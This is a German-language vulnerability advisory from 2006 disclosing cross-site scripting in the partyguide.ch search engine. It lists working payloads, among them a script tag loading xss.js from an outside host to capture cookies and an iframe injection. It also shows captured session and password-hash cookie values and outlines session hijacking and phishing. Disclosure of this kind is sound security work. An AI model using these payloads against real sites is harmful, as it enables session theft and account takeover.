partyguide.ch - XSS Vulnerabilities [Sicherheitslücke - Exploit]

descovered and published by Yannick von Arx, berne switzerland
yannick[dot]vonarx[at]yanux[dot]ch

Wednesday, June 28, 2006




Website:          www.partyguide.ch
Hersteller:       PartyGuide.ch GmbH
Version:          n/a

Remote:           Ja
Klasse:           Cross Site Scripting (XSS)


Erläuterung der Erkenntnisse und vorliegender Problematik:
=====

Der Internetauftritt von www.partyguide.ch bietet eine Suchfunktion mit einer sogenannten Such-Engine an.

Die Such-Engine (unten links) von www.partyguide.ch lässt sich zum ausführen von schädlichem Code missbrauchen. Der Angreifer kann eine Cross Site Scripting-Attacke durchführen, Cookies (falls vom Betreiber verwendet) seiner Opfer entführen und somit eine Session übernehmen. Hat der Angreifer einmal eine Session eines Besuchers übernommen, kann er unter dessen Namen aktivitäten ausführen. Zudem könnte ein Image-Schaden durch das einfügen von nicht angebrachten Inhalten in den Internetauftritt zur Folge haben. Der MD5-Hash des Passworts kann ausgelesen und innert Minuten, Stunden geknackt werden.

Als Proof of Concept (1) fügt man folgenden Code in das Suchfeld ein und bestätigt die Suchabfrage:
>"><script>alert(String.fromCharCode(80,114,111,111,102,32,111,102,32,67,111,110,99,101,112,116,33))</script>

Dieser Code wird von der Such-Engine nicht gefiltert und es wird fünf Mal folgendes ausgegeben:
Proof of Concept!

Ein Angreifer könnte nun ein JavaScript-Dokument oder ein CGI (zB. xss.js) ausführen welches das Cookie (falls vom Betreiber verwendet) des Besuchers speichert sobald dieser auf den präparierten Link geklickt resp. die präparierte Seite aufgerufen hat:

>"><script src=http://www.yanux.ch/xss.js></script>

Als Ergebniss das Pop-Up:
This is remote text via xss.js located at www.yanux.ch
PHPSESSID=52c9342fe99c6cd7bb73d8dc4xc6497a;
c_id=120469;
c_psw=6372cb42dcfo0ea8e247945ea71e2d6d;
c_ip=80.218.XXX.XXX;
forum_startseite=0

Auf den ersten Blick bieten sich zwei Möglichkeiten dem Angreifer an. Erstens er knackt die Zeichenfolgen hinter c_psw welche den MD5-Passworthash darstellt, oder er betreibt eine Sessionübernahme.

Nun führt der Angreifer ein Script aus welches ihm selbst das Cookie des Opfers setzt und die Session wurde erfolgreich übernommen (Session-Hijacking).

Als bildliches Beispiel kann eine fremde Internetseite in die Internetseite von PartyGuide mit
>"><iframe src=http://www.google.ch width=700 height=430></script> integriert werden:

bild

Was wäre wenn ein Angreifer eine präparierte Internetseite welche der Seite von PartyGuide gleicht integriert und den offiziellen Link welcher als Domain www.partyguide.ch beinhaltet an seine Opfer sendet? Ein Schädling könnte ohne Probleme auf dem System des Opfers installiert und ausgeführt werden. Das ausspionieren und übernehmen von Accounts wird zur Nebensache.

Problemlösung:
=====

Zur Zeit liegt keine Lösung von www.partyguide.ch vor.

Das Wieso:
=====

Es gibt Computer-Spezialisten die ihr Wissen und Können nutzen um anderen zu Schaden! Jedoch gibt es auch solche die ihr Wissen und ihre Kenntnisse nutzen um die heutige Computer-Welt etwas sicherer zu machen.